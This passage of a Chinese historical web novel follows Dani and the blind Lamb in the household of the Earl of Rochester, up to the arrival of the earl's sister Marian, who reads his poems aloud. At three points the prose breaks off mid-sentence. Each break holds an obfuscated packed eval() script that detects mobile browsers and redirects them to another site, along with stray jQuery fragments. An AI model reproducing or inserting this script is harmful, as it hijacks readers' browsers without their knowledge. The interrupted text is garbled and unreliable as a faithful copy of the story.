威尔默特猛地站起来,冷冷说道:“祝你生意兴隆。”随后他便头也不回地大步走出礼堂。
达尼正要跟上去,忽然被奴隶主叫住:“达尼,我应该谢谢你。”
“谢谢……我吗?”又是一句他听不懂的话。
“你一定对伯爵说了很多关于拉姆的好话。”奴隶商露出狡黠的本性,“能卖出两千五百英镑,除了拉姆自己,就是你的功劳了。”
达尼愣在原地。但他很快便回过神来,追着威尔默特的步伐跑出礼堂。
在通往庄园大门的路上,威尔默特一直在因为让奴隶商赚了自己两千五百英镑而生气,并不停地骂他:“真希望他明天醒来就发现自己的头发全掉光了!”
13. 我以己之名反抗
克缇尔庄园的大门外、仆人库里的身后,停着两辆马车。
在库里的指引下,威尔默特径直上了其中的一辆,待马车关好门后,从拉着垂帘的窗户内将面具扔了出来。
达尼与库里坐在第二辆马车上。
“伯爵似乎很生气……”
库里笑起来,仍然保持着彬彬有礼:“那一定是因为送给尼德兰人太多钱了。或许你知道的,伯爵不喜欢尼德兰人。”
达尼点点头,表示自己知道,然后接着说:“我该怎么做才能让伯爵消气呢?”他担心伯爵的怒火会转而发泄在拉姆先生身上,“如果我给伯爵打一只野兔回来,伯爵会消气吗?”
坐在对面的库里依旧保持着微笑:“你什么都不需要做。过些日子,伯爵会自己哄好自己的。”
达尼这才放下心来。
两辆马车先后在罗切斯特庄园外停下。库里最先下车,来到主人乘坐的马车旁,左手背于身后微微鞠躬,用右手拉开车门。威尔默特穿着皮靴的脚从马车里跨出,踩在地面的同时低头走下来。随后他又转过身,向马车里的人抬起胳膊。
库里识趣地退到一旁。
“拉姆先生!”达尼跑过来站在马车门外对里面的人喊道,声音因高兴而提高,“您还记得我吗?我是达尼。我和您都被罗切斯特伯爵买下了。”
威尔默特不悦地皱皱眉:“不是买,是雇佣。我说过我不需要奴隶。”
达尼立刻改口:“是的先生,是雇佣。我和拉姆先生都被您雇佣下来了。”
听见达尼的声音,车里的拉姆终于睁开双眼,转头朝门外静静看来,片刻后才开口:“达尼……”
这是达尼第一次听见拉姆的声音,在此之前,不管达尼说什么,拉姆从来没有回应过。他欣喜得几乎要冲进马车里抱住拉姆先生了:“是,我是达尼!太好了,您记得我!”
“废话可否等回到屋里再聊?”显然,威尔默特的忍耐已经到达极限,“你打算在马车里待到什么时候?难道要让我抱你才肯下来?”
灰白色眼睛上方的长睫毛微微颤动,拉姆总算向威尔默特的手臂伸出手,扶着他走下马车。
库里关上马车的门,对车夫简单交代几句。车夫点点头,驾着马车离开了。
此时月光照下来,简单勾勒出威尔默特他们三人漆黑而模糊的身影。唯独身穿白色希顿的拉姆,彷如与月光辉映般,散发出柔和的浮光。
走在后面的库里心情十分愉快。
拍卖会结束后、在将拉姆送上伯爵家的马车之前,奴隶商花了些心思,特地命人为他换了一身衣裳,方便他之后的行动。这是一种他自认为贴心的服务,为了将值钱的商品以最好的形式送至客户手中。
只不过,他忘记给拉姆穿上鞋子。
“我实在搞不懂他们脑子里肤浅的想法。”走进屋内,威尔默特便甩开拉姆,一面大步朝自己的书房走一面对紧跟其后的库里吩咐,“去,给可怜的拉姆找双合脚的鞋子,再让他把那身过时的衣服脱下来,在我面前至少得穿得正常些。我喜欢独特的人,但不喜欢庸俗的独特,别以为我不知道那个尼德兰人是怎么想我的。‘约翰·威尔默特是个既喜欢女人又喜欢男人的怪胎,瞧瞧他写的那些诗,简直是对神的侮辱,但是感谢老天,这可以让我从他身上大赚一笔’,见鬼去吧,他应该感谢的是我!那是我的钱,可不是老天的!”
“是,我一会儿就去为拉姆先生准备。”
“还有,明天带他们两个去铁匠那里把脖子上的东西摘掉。狗才需要项圈,人不需要。人需要的是尊重。”
“我记下来了。您还有什么别的吩咐吗?”
“酒,我要酒,送到我的书房来,然后滚去睡觉。”
“我这就去准备。”库里停下脚步目送威尔默特,转身去壁橱拿酒。
将酒送进威尔默特的书房,倒好一杯轻轻放在书桌上,库里正准备退出房间,威尔默特却抬起头指了指他手里的酒瓶。
“放下它,然后你出去。”
“是。”
库里安静退出威尔默特的书房,又去为拉姆准备符合威尔默特审美的衣服——普通英格兰人的衣服。
“这些是伯爵为您准备的。”库里将怀中的衣物放在床上,“虽然是一些旧衣服,但都是请有名的裁缝做的,也很干净。”
这里是拉姆的房间,床尾的地方有扇窗户。不过现在天色很晚了,再加上房中的银烛台上插着六只点燃的蜡烛,窗外便只有一片黑色。这间房外,仅用镶嵌着玻璃格子的木板隔开的另一间,则是达尼的卧室。
作为仆人,他们本来不应该有自己的房间,但威尔默特说:我有这么大的庄园,这么多的房间,你们为什么要挤在一块烂木板上?
拉姆坐在床边,伸手摸了摸库里放在他身旁的衣服:“谢谢。”
“不用客气。”库里笑着说,转而又对黏着拉姆的达尼说道,“达尼,让拉姆先生早点休息。明天我会带你们出一趟门,你们得在早餐之前起床。”
“是,库里先生。”达尼仍旧沉浸在开心中无法自拔,“您不用担心,我不会打扰拉姆先生休息的。”
“那就好。祝你们晚安。”库里说完便走出拉姆的房间,又穿过达尼的房间,离开了。
虽然嘴上答应库里先生,但达尼还不想睡觉。他在拉姆身边坐下来:“拉姆先生,我可以再多待一会儿吗?就一会儿。”
拉姆转过头面朝达尼,灰白色的眼珠好似能看见一般:“你想要什么?”
“我想和您说会儿话。”达尼有些不好意思,“我一直都很想好好感谢您,感谢您在船上把自己的食物给了我。在我父母死后,您是第一个主动给我食物的人,我非常感谢您。”
“感谢……”拉姆呢喃着,垂下了头,“我没做什么值得你感谢的事。只是恰好,把不需要的东西给你了而已。”
达尼疑惑地看着拉姆:“怎么会不需要呢,没有食物会饿死的。”
拉姆张张嘴,最后只轻轻嗯了一声。
“不过船上的东西的确不好吃,船舱里又臭。”达尼晃着两条腿,“但是这里的食物很好吃,有土豆和腌肉。就是不知道船舱里的那些黑皮肤的人现在怎么样了。”
“达尼。”拉姆再次向身旁的达尼转过头,“我可以问你一个问题吗?”
“当然可以!您想知道什么?”
“生命是什么?”
“生命?”达尼露出困惑的表情,“我从来没有想过这个问题,所以没办法回答您。”
“是吗。”拉姆的脸上仿佛闪过一抹失望。
达尼从床上跳下来,站在拉姆面前:“不过,我会好好思考这个问题的。晚安,拉姆先生。”
“嗯,晚安。”
达尼离开的时候带走了放在柜子上的烛台。漆黑的房间里,拉姆的低声呢喃终将被湮没。
生命,究竟是什么?
又为什么,而存在?
这一夜,达尼睡得非常安稳,是自父母被山贼杀害后的第一次安稳。直到鸟儿飞来窗前不停啄着玻璃,直到拉姆换上库里昨夜拿来的衣服和鞋子开门出来,直到庄园的女仆敲响房门,他才睡眼惺忪地坐起来,打了个大大的哈欠。
“早
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248786|197901||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,拉姆、达尼。”
拉姆给女仆开了门。
“早,拉姆先生、艾米莉亚小姐……”
年轻的女仆穿着灰色的方领长裙,先看了看门边的拉姆,又看了看还在床上的达尼:“库里先生让我来叫你们起床。一会儿你们要出门,他希望你们不要迟到。”
“我立刻起来……”
昨晚拉姆先生问他的那个问题,本来是准备等白天休息的时候再思考的,可就在他即将睡着的时候,拉姆先生的声音再一次响起来。
生命是什么?
到底是什么呢?他不禁在心里默念一遍,然后这个问题成了葡萄藤上的蜘蛛网,一圈一圈纠缠着他。于是他失眠到很晚才睡着。
确实是个奇怪的问题。
在厨房旁边的仆人饭厅里吃过早餐,库里便带着拉姆和达尼离开罗切斯特庄园,去找城里的铁匠。临行前他递给拉姆一支木头手杖,称是伯爵的交代。
但拉姆似乎并不需要手杖的辅助,即使他声称自己眼睛看不见——奴隶商安东尼曾经扒开拉姆的眼皮,用锋利的匕首靠近眼珠来确认过,他的确看不见。可走在路上时,无论是地上的路障还是迎面走来的人,拉姆每次都能在不经意间避开。
“你好,弗尔伦先生。”库里走进铁匠铺,与里面的人打招呼,“我需要你的帮助。”
柜台后面的铁匠看向库里身后的拉姆与达尼,问道:“是需要新的项圈吗?”
“不,不是。是将他们脖子上的铁环取下来。”库里没有称那个东西为项圈。他拿出一块便士放在柜台上,“取下来的铁环你可以留着做点别的东西。”
铁匠收下柜台上的硬币:“跟我来。”
他走出柜台,撩起旁边的门帘走进去。
里面是储物间,再往里走便是铁匠工作的地方。有燃烧着熊熊烈火的炉子与风箱,年轻的男人正光着上身穿着围裙在捶打。
铁匠走到储物间便停下来,在货架上翻找片刻后拿出一把巨大的钳子,咔咔两声剪断达尼和拉姆脖子上的项圈。
“你们自由了。”铁匠说。
达尼摸着空无一物的脖子,十分开心地向铁匠道谢。虽然被卡尔叔叔卖给奴隶商,但他先遇到拉姆先生,后来又遇到罗切斯特伯爵——是这两位先生给了他重获新生的机会。
走出铁匠铺,库里没有顺着来时的路领着他们往回走:“回去之前再陪我去个地方。”
“当然没问题。”达尼的心情非常好,“我们接下来去哪里呢?”
“去给伯爵买墨水。”
今天一早威尔默特就在发脾气,因为他的墨水用完了。昨晚,他见过拉姆后,脑子里的单词不断撞向他的脑神经,逼迫他快点写些什么。而正当手里的笔在纸上飞速书写、他的嘴角因为内心的澎湃而上扬时,墨水却没有了。
真该死!
他差点砸了自己的书房。
威尔默特想叫库里立刻去买,大声喊了几次,但门外始终没有传来脚步声。于是他发脾气一般喝光了库里留在桌上的半瓶酒。
“约翰·威尔默特。”拉姆忽然开口,“我听过他的名字。”
库里笑起来:“一定是安东尼先生和你说了不少关于伯爵的事。关于伯爵的流言,只要你们在敦伦待得久了,自然会听见很多。”
拉姆继续平静地说:“我是指他的诗。我曾经听到过他的诗。”
达尼惊讶地睁圆了双眼:“伯爵写的诗?”
“啊……”库里的表情变得略有一丝苦涩,“伯爵的诗的确很有名,不过能真正理解他的人很少。讨厌他的人却很多。”
14. 致一位年轻的美人
自从那日听见库里先生和拉姆先生提起伯爵写的诗后,达尼便产生了好奇,总想找到读一读。可伯爵最近大部分时间都待在书房,除了库里先生会送食物美酒进去,其他人都不敢靠近。有一次他悄悄摸到门外,正想推开一条缝偷看,便被库里先生制止了。
“伯爵在写作的时候不喜欢被人打扰。”库里先生将他带去院子,“给花浇浇水吧达尼,如果伯爵看见花心情好,说不定会允许你读他写的诗。”
于是连续几日,达尼都在精心照顾着花园。
以前他在波尔多的家也有一小块花园,平时都是母亲在打理,他只觉得母亲照顾的花真好看,却从来不知道原来管理花园这么费事。
昨日才拔掉的野草今天又长出来。大树上落下的枯叶也是,刚扫干净,只凭一阵风便又飘满地面。
他开始佩服母亲的耐心,也越发想念母亲与曾经的时光。
“达尼,来喝杯茶休息一下。”女仆艾米莉亚提着茶壶,拎着两只杯子走过来。
达尼脱下肥大的皮手套,走到摆在院中的桌椅前坐下来:“谢谢您,艾米莉亚小姐。”
女仆艾米莉亚倒好一杯茶递给达尼,主动聊起来:“达尼,你会写字吗?”
“我会写字。”
“法语?”
“是的。”
艾米莉亚露出笑容,又给自己倒了一杯:“那我可以请你帮我写一封信吗?我想写给我的未婚夫,他是法兰西人,只能看懂法语。”
“当然。”果断答应后,达尼迟疑了一下,说,“不过我没有笔也没有纸……但我会问问库里先生,他应该有办法。”他说着,不由自主抬头看向房子二楼——伯爵书房的窗户。
窗户里面有两个人影,他都认识。
艾米莉亚沉浸在喜悦里,没有注意到达尼的目光:“谢谢你,达尼,真的。你不用担心,纸和笔我会准备好的,你只要帮我写信就可以了。”
“嗯,好……”
“我把茶放在这里,你口渴的时候就过来来喝一口。”她放下自己的茶杯站起身,“我继续去工作了。茶具你放在这里就好,我会来收拾的。达尼?你有听见我在说什么吗?”
达尼猛地收回视线,眨眨眼,木讷回答道:“我知道了,您去忙吧。”
艾米莉亚察觉到达尼的异样,于是弯下腰来看他的表情:“你怎么了?”
“伯爵为什么要买下我和拉姆先生呢?”达尼忽然抬头问她。
“为什么买下拉姆我是不知道……”艾米莉亚又坐下来,“但是你,达尼,我猜伯爵是为了保护你才这么做的。”
达尼歪着脑袋,不懂她的意思:“为什么说是保护我?”
艾米莉亚坐正了些:“奴隶船来人的那天,是我端去的茶水,所以我听到了,但我不是故意的——男人告诉伯爵,这次的商船里有一个十三岁的白人少年,那就是你达尼。男人说,现在的人都太听神的话了,以至于男人们少了很多乐子,只能去找妓女,连国王都这么做。可是妓女不干净,很容易得病,不过年纪小的女孩和男孩没这方面的隐患。我想他肯定是听说了伯爵是个风流的人,也喜欢男人,才会这么说的。”她高兴地笑起来,“但是他被伯爵大骂一顿,赶出了庄园。”
达尼惊讶地张大了嘴,似乎已经明白他是被当成什么卖给伯爵的了。
“可是最后伯爵还是让库里先生叫住了男人,把你卖了下来。不然你现在就已经成为某个男人的宠物了。至少伯爵不会那么对你,不是吗,你还是个孩子。”
“不过伯爵的确有很多情人。”艾米莉亚看了眼达尼,“其中也包括男人。比如没有演技的罗伯特,只有那张脸好看。”
“你是说……伯爵喜欢男人?!”达尼无比震惊,比他的叔叔要将他卖给奴隶商还让他惊讶,“可、可是主不允许发生这样的事,这是有罪的!”
“嘘!小点声!”艾米莉亚再次站起来,“我该去干活了。千万不能告诉别人是我说的,不然我可就惨了。”
“我、我记住了。”达尼愣愣地保证。
女仆离开后不知道过了多久,达尼再次抬头看向威尔默特的书房,只见窗帘已经被拉上。
不,不可能,伯爵不会那么做。
然而吃过晚饭后,拉姆在库里的带领下去了威尔默特的书房。他刚才抱着库里的胳膊求他带自己一起去,总是面带微笑的库里在那瞬间却像是变了个人,脸色阴沉得可怕,低头拒绝的时候吓得达尼下意识松开手。
“玩一会儿就回房睡觉,听明白了吗?”库里警告道。
达尼愣在原地,没有继续跟上去。
与庄园里的仆人们围着餐桌边吃饭后甜点边聊了会儿天,达尼找借口回到自己的房间,点燃蜡烛蜷缩在床板上发呆。
在这里的每个人,除了伯爵之外的每个人都有自己的分工。比如库里先生,工作是照顾伯爵;比如艾米莉亚小姐,工作是一些厨房里的事;比如他自己,工作是打理花园中的杂草。那拉姆先生分到的工作又是什么呢?在眼睛看不见的情况下,似乎……没有太多可以完成的工作?
房间的门被人从外面打开,是库里送拉姆回来了:“早点休息。”
“嗯。”拉姆向送自己回来的库里道谢,然后走过达尼的床前回到自己的房间。
达尼怔怔看着站在门口握住门把的库里,没有搭腔。反倒是库里对他微微一笑:“晚安,达尼,祝你做个好梦。”
仿若傍晚时分那张阴沉的脸是假的。
“晚安……库里先生。”达尼小声回应。
库里贴心地为他们关上房门,离开了。
听着远去的脚步声,达尼转头,透过木板上的玻璃向内屋的拉姆看去,然后走下床站在两间房中间的那道门的门口,试探着问:“拉姆先生,我可以进来可您说说话吗?”
“达尼。”正在宽衣的拉姆停下动作,随后一边将外套放在椅子上一边说,“进来吧。你要和我说什么?”
达尼立刻走进来,跟在拉姆身后一同于床边坐下:“下午的时候,我在花园看见您进了伯爵的书房,可是后来窗帘便拉上了。”他意识到自己这么说像是在窥探他们二位的生活,于是立刻补充道,“我听库里先生说,伯爵写作的时候不喜欢有人打扰。所以我担心……您误入了伯爵的书房……”
“是伯爵邀请我去的。”拉姆说。
不知道为什么,达尼觉得此刻的拉姆先生变得和之前不一样了。之前的他,是块坚硬的石头,连草都长不上去。而现在的他,就像是草,虽然仍旧冷淡,不过却比石头柔软。达尼直勾勾盯着拉姆的表情,不禁这么想。
“为、为什么伯爵要邀请您去书房呢?”
“伯爵说,我能给他带来诗的灵感。”
达尼低着脑袋,脚尖在地板上随意划动:“伯爵没对您做什么,对吗?”
缄默许久,拉姆才说道:“伯爵和别人不一样。”
“伯爵的确和别人不太一样。”达尼附和道。
“活到一定年纪或许可以懂得很多道理,但并不是活得越久就越有智慧。相反,有很多最简单的事,却搞不明白了。”
达尼发现自己总是听不懂他们的话,不过他明白了一件事——伯爵没有伤害拉姆先生。
“达尼,还记得我问你生命是什么吗?”
“我记得。可我还没有回答您。”
难得拉姆愿意说这么多话:“伯爵回答我,说生命是放
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248787|197901||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
纵、是享受、是去惹人讨厌、招人嫉妒、被人杀死。我以前从未听到过这样的答案,也从未想到竟然有这样的答案。”
这个问题达尼还没有想明白,于是问:“您以前听到过什么样的答案呢?”
拉姆沉默片刻,像是在回忆,接下来才说:“有人说生命是爱,有人说生命是继承……还有人说,只要知道生命为什么存在,就能知道生命是什么。可要是,生命的存在本身并没有任何原因和意义呢?不能证明存在的东西,或许根本就不存在。”
原来伯爵和拉姆先生聊的都是这些么。达尼挠挠脑袋,十分困惑:“抱歉,拉姆先生,我还理解不了这些话的意思。”
拉姆似乎怔了一下,说:“理解不了也没关系,是我说了让你不感兴趣的话题。”
“并不是,只要能和拉姆先生聊天,不管是聊什么我都很开心。”
拉姆迟疑着抬起手,在达尼脑袋上方顿住,过后才轻轻落下拍了拍:“谢谢你,达尼。我本来是想……”
达尼咧嘴笑起来,开心地晃着两只脚。
可拉姆接下来的话却令达尼一惊:“是希望自己可以从生命中解脱出来。”
“为什么?”他猛然想起了什么,“所以在船上,您是故意不吃东西的?!”
拉姆收回抚摸达尼脑袋的手,点点头:“嗯。”
“虽然我现在还无法回答您生命是什么,可能之后我想出来的答案在您看来也很无聊,但、但……”达尼激动得无法好好表达自己想告诉拉姆先生的话。
“一直以来,我都是从别人那里得到答案,今后,我准备自己去思考答案。生命是什么,为什么而存在。”
达尼松了口气:“只要您不寻死就好。那……我准备去睡觉了。晚安,拉姆先生。”
“晚安,达尼。”
跑回自己床铺窝进被子的达尼拍拍胸脯。他刚才可是被拉姆先生的话吓得不轻。
但无论如何,拉姆先生都是他的救命恩人,不管未来会出现什么情况,这点绝对不会变。
接下来的日子,拉姆依然会去威尔默特的书房,有时是下午,有时是晚上。达尼曾有一次从书房外经过,趴在门上听见了里面聊天的声音。不过他怕被库里发现,没敢听太久便离开了。
一年有余悄然过去,当达尼正与花坛里的杂草交战时,一辆马车从庄园大门外驶进来,停与房子外的空地上。
听见马蹄声的达尼站起来,走出花坛大声说道:“伯爵不喜欢马车进来,你们快出去!”
马车的车门开了,从里面下来一位年纪与伯爵相仿的年轻妇人,她仰起下巴俯睨着达尼:“你是新来的?约翰没跟你提过我吗?”
达尼摇摇头:“没有。”
他身后房子的大门吱呀一声打开,库里从里面走出来:“玛丽安小姐。”他向少女鞠躬行了一个礼,将没规矩的车夫打发走,“就您一个人来了吗?”
少妇将手中的行李扔给库里,往房子内走:“难道要让伊丽莎白来这里和自己丈夫的情人共进晚餐吗?”
库里皱了下眉头——达尼第一次见他露出这样的表情。
“玛丽安小姐,这一切都是误会。”库里试图解释。
走到大厅里的玛丽安终于停下,转身看着库里:“我可是听说了,约翰花高价从尼德兰人那里买了个年轻漂亮的奴隶藏在家中。让妻子住在乡下,自己却在庄园里和男人快活。天啊,真希望他能像个正常人,别总用自己的才华亵渎神恩。”
库里的眉头依然紧锁:“玛丽安小姐,您不能这么说自己的弟弟。”
玛丽安不在乎他显露出的情绪,看见跟进来的达尼若有所思:“所以,那个疯子终于对孩子下手了吗?”
15. 将自己献祭于你
听从库里的吩咐,达尼前去书房将威尔默特请来客厅。自然,拉姆也随之一起。
“玛丽安,你来之前应该给我写封信。”一进门,威尔默特将这一路上积攒的怨气发泄出来。
玛丽安·李正在喝茶——她是约翰·威尔默特同母异父的姐姐,所以不姓威尔默特。她抬眼瞥向威尔默特时,正好看见一同进来的拉姆,便上下打量起来:“这就是你花了一年收入买回来的情人?确实漂亮。”
威尔默特猛地坐下,又起身整理了一下衣摆,翘起二郎腿臭脸盯着玛丽安:“你来做什么?”
玛丽安放下茶杯:“我本来不打算干涉你的私生活,但这件事已经传开了。母亲和伊丽莎白知道你干出来的混蛋事都很伤心。”她强调,“尤其是伊丽莎白。”
威尔默特挑了一下眉:“比你逃婚私奔的时候还要伤心?我不信。我本来就是个混蛋,她们知道。”
“为什么你就不能好好过日子呢?”玛丽安对弟弟那句话充耳不闻,继续质问,“非要把人带回家里来。”
“这里是我的庄园,我想让谁住在这里就让谁住在这里。我有这个权利,而你,没有。”
库里亲自给威尔默特泡好一杯茶端过来,放在他面前的茶几上,随后退到达尼与拉姆所站的门旁。
“不能把他送走?”玛丽安问。
“不能。”威尔默特理直气壮地回答,“我喜欢他,他是我创作的灵感,与我共享灵魂的光明与黑暗。我的剧作很快就能完成了。”
玛丽安有些惊讶:“你打算将你那套荒诞的言论搬上舞台?!”
威尔默特端起面前的茶杯,嘴角露出得意的微笑:“为什么不能?观众一定会放声大笑。”
“好吧,我实话告诉你。”玛丽安还是对她这个叛逆的弟弟妥协了……一点点,“是伊丽莎白写信给我,请我来这里看看你是怎么回事。你觉得我应该怎么回信告诉她?说传言是真的,你的确有个新情人,而且是男人?”
“随你怎么说。”威尔默特满不在乎,只关心杯子里的茶是否会烫到他的舌头。
玛丽安正色看着他:“约翰,你的妻子伊丽莎白很伤心。我认为你不该这么对她。别忘了你还有三个女儿。”
“你不知道吗?我是个混蛋。”
“请允许我打断二位的谈话。”库里往前来到威尔默特的身旁,双手交叠放在身前,“伯爵与拉姆先生真的只是探讨诗歌,没有做任何出格的事。我用我的生命发誓。”
“库里,你的生命并不值钱。”威尔默特像在拆库里的台。
“伯爵!”难得库里竟对威尔默特加重语气,“是误会就应该澄清,这也是为了您和伯爵夫人。”
玛丽安轻轻笑了一下,也端起茶杯喝茶。
威尔默特抬眼看向另一张椅子上的玛丽安:“你打算在这里呆多久?吃饭就不必了,我立刻为你安排马车。”
玛丽安淡定地吹着热茶:“行李我已经让库里拿到我的房间去了。”
“你要住下来?!”
“我要看看你和你的情人是怎么如胶似漆的。说不定,也能成为我写诗的灵感。”玛丽安笑着看向威尔莫特,随后垂眸喝了口茶。
“老天为什么要让我有个姐姐!”
“你什么时候也开始信仰老天了?”
玛丽安住下来的这些日子没有让威尔默特太好过。她总是在拉姆被叫去书房后不久便出现在门外,明知威尔默特不喜欢别人打扰还故意用力敲响书房的门,非要等门打开进去说几句话才罢休。
威尔默特被她这个举动弄得非常崩溃,眼看就要完成的作品迟迟收不了尾。后来他索性让达尼守在门口,只要见到她靠近,就立刻想办法将她弄走——原本这是库里的工作,但庄园里还有其他事物需要库里帮忙处理,所以担子落在达尼身上。
“吃点心吗?”玛丽安端着一盘司康饼走过来。
个头已经超过玛丽安的达尼低头看着她手里的点心,摇摇头:“我不吃,也不会让您进去。”
“我知道,所以只是来请你吃司康饼。”见达尼露出疑惑的表情,玛丽安又继续笑着说,“听说你之前的工作是照顾花园?”
“是的。”
“那你介意陪我去花园里坐坐吗?”
达尼警惕这是玛丽安耍的把戏:“我得守在这里。”
“你守在这里是为了不让我进房间。可我要去花园,你还守在这里做什么?”
说得似乎也有道理。达尼犹豫片刻,只好点头答应:“好吧,我可以陪您去花园坐坐。但您得保证,不会借这个机会闯进书房妨碍伯爵。”
玛丽安拿起一块司康放在达尼面前:“我保证。”
去花园的途中,玛丽安叫住一名女仆,吩咐她沏两杯红茶送到花园来。红茶是珍贵的东西,只有上流人士才喝得起,即便是在伯爵家里,仆人们也从来喝不到这种好东西。达尼立刻警觉起来,忍不住猜测玛丽安小姐为他准备红茶的动机。
似乎是看穿了达尼的心思,玛丽安毫不掩饰地承认了:“没错,我是想讨好你,从你这里打听约翰和拉姆的情况,然后拆散他们。”
达尼赶紧解释:“您误会了,伯爵和拉姆先生不是情人关系。”
她走上凉亭,将装着司康饼的盘子放在石头桌上——那上面还有馅饼。看来玛丽安早就已经准备好要将他哄骗至此了。
是的,哄骗。达尼见识过玛丽安小姐的本事,连伯爵在她面前有时候都会吃亏。
“您想和我聊什么?”达尼皱着眉头站在桌边,没有入座。
玛丽安抬头看着他,目光扫过他胸前的十字架时停顿了一下,然后微笑道:“你看过约翰写的诗吗?”
达尼困惑地摇摇头。他一直都想看,可伯爵像是故意捉弄他,至今不允许他阅读。
玛丽安拿出几张纸放在石桌上:“这是他前段时间完成的《柏拉图式的女士》。看完后告诉我感想。”
达尼更加困惑了:“您为什么要让我看伯爵写的诗呢?”
“看过之后我想你就明白了。”
尽管达尼之前确实想看伯爵写的诗,可他不希望是在这样的情况下看的。他迟疑一会儿,最终,还是被好奇心打败,拿起手稿坐在石凳上阅读。
恰好此时女仆送来红茶,玛丽安便一边惬意地喝着茶,一边观察达尼的反应。她早已向女仆们打听过了,知道达尼和拉姆是从同一艘奴隶船上来的,虽然可以确定约翰没有对这名少年做什么,但少年很可能知道更多关于拉姆的事。
连她都不禁被拉姆吸引,她不相信在查理二世腐败的统治下,美丽的拉姆没有和约翰发生过什么。毕竟她的那位伯爵弟弟,可是坚定的保王党。
见达尼皱了下眉头,玛丽安立刻问:“怎么了?”
达尼的脸颊微微有些泛红:“我的英语不是太好……有些地方读不懂。”
玛丽安从达尼手中抽走一页纸,朗读起来:“《柏拉图式的女士》,‘我可以爱你至死,只要你爱我分寸得当,此生别逼我给予,超出我心甘情愿付出的分量;这便足以证明我深谙爱的艺术与方长。’下一张。”
达尼将全部的手稿放在石桌上,推给玛丽安。
“‘我厌恶那所谓的【欢愉】,那不过是沉闷的俗事一桩,它抽走所有炽热与鲜活,让欲望只剩空
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248788|197901||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
壳摸样;恰似蜜蜂失去毒刺,从此沦为慵懒雄峰,不在奔波繁忙。我爱上一个少年,他愿投入我怀中,任我轻柔拥抚,缠绵相傍;轻轻依偎,深情亲吻,我轻声叹息,眼中满是渴望——那些若真得到的东西,我反而会漠然相忘。我愿他自在与我嬉戏,共享这份欢畅。你我彻底自由无拘束,无需越界,已是圆满模样。就让我们这般践行,便会知晓,这才是爱的唯一甜香,’”玛丽安放下这首诗的最后一页纸,“这是就是约翰写的诗,写他是如何抛下妻子,投入拉姆的怀抱。”
“可、可是,拉姆先生不是少年……”达尼还在辩解。
“但他年纪并不大,至少看起来比约翰年轻。”玛丽安盯着自己手上另一首诗的手稿,“让我们再来听一听这首诗,是约翰最近才写的《致女人的爱》。”
听见诗名的达尼明显僵了一下。
“‘爱女人?你真是头蠢驴。这欲望乏味透顶,
竟把幸福寄托在
造物主最无用的造物身上。
让门童和马夫——
那些天生的贱役,
去在美丽的奥蕾莉亚腹中操劳,
为衰老与坟墓添些后嗣。
再见了,女人!我决意
从此每晚与我放荡却和善的友人对坐,
酣饮畅聊,催生出绝妙才思。
赐我健康、财富、欢笑与美酒吧,
若爱神前来搅局,
我身边有个温柔乖巧的侍童,
抵得过四十个浪□□子。’”玛丽安放下手稿看向达尼,意味深长地说,“看来拉姆先生的确是约翰的灵感来源,我现在相信了。”
达尼眉头紧皱,不由得攥紧胸前的十字架;“伯爵怎么能写这样的诗。主说过,结合应该是男女之间……伯爵这么做是错的!”
玛丽安脸上露出一丝轻蔑:“约翰不相信主的存在,当然不会遵循《圣经》规矩行事。而且,拉姆并不是他喜欢的第一个男人。但男人也好,女人也好,他以前最多是在外面鬼混,不会把人带回家里。”
“可库里先生说这是误会。”达尼垂下眼眸,“拉姆先生……也没有在伯爵的书房中过夜。”
玛丽安被达尼的话逗笑了:“我也希望是,如果‘罗切斯特伯爵的情人’的传闻没有那么出名的话。”
看见达尼脸上询问的表情,玛丽安端起茶杯喝了口茶,继续说:“是个叫罗伯特的年轻演员,不过他本身不怎么出名,是剧团里的配角,但长得英俊。约翰喜欢看剧目,两个人经常在乔安的酒馆幽会。伊丽莎白就是因为这件事才生气搬回了牛津。”
达尼脸色惨白:“哪怕是真的,可……可也和拉姆先生无关……”
玛丽安意味深长地说:“这件事本身的确与拉姆无关。可,真的吗?”
达尼摇摇头,仍旧不愿意相信:“不会的,不会的……我一直注视着拉姆先生和伯爵,他们之间不可能……”
“达尼。”玛丽安打断达尼混乱的思绪,“你以前就认识拉姆先生?”她向达尼投去试探的目光,“他是个什么样的人?”
“拉姆先生他……”达尼猛地呆住,他发现自己其实并不了解拉姆先生,“我……我可以肯定,拉姆先生不是、不是伯爵诗上写的这样!”
“或许以前不是,今后……谁知道呢。”玛丽安叹口气,从盘子拿起一块司康饼递给达尼,“如果拉姆先生不愿意待在罗切斯特庄园,我想我可以帮他。或许约翰是个出色的诗人,但他也是个混蛋,男人?女人?不,他都不在乎。拉姆先生不应该继续和约翰待在一起。不是吗?”
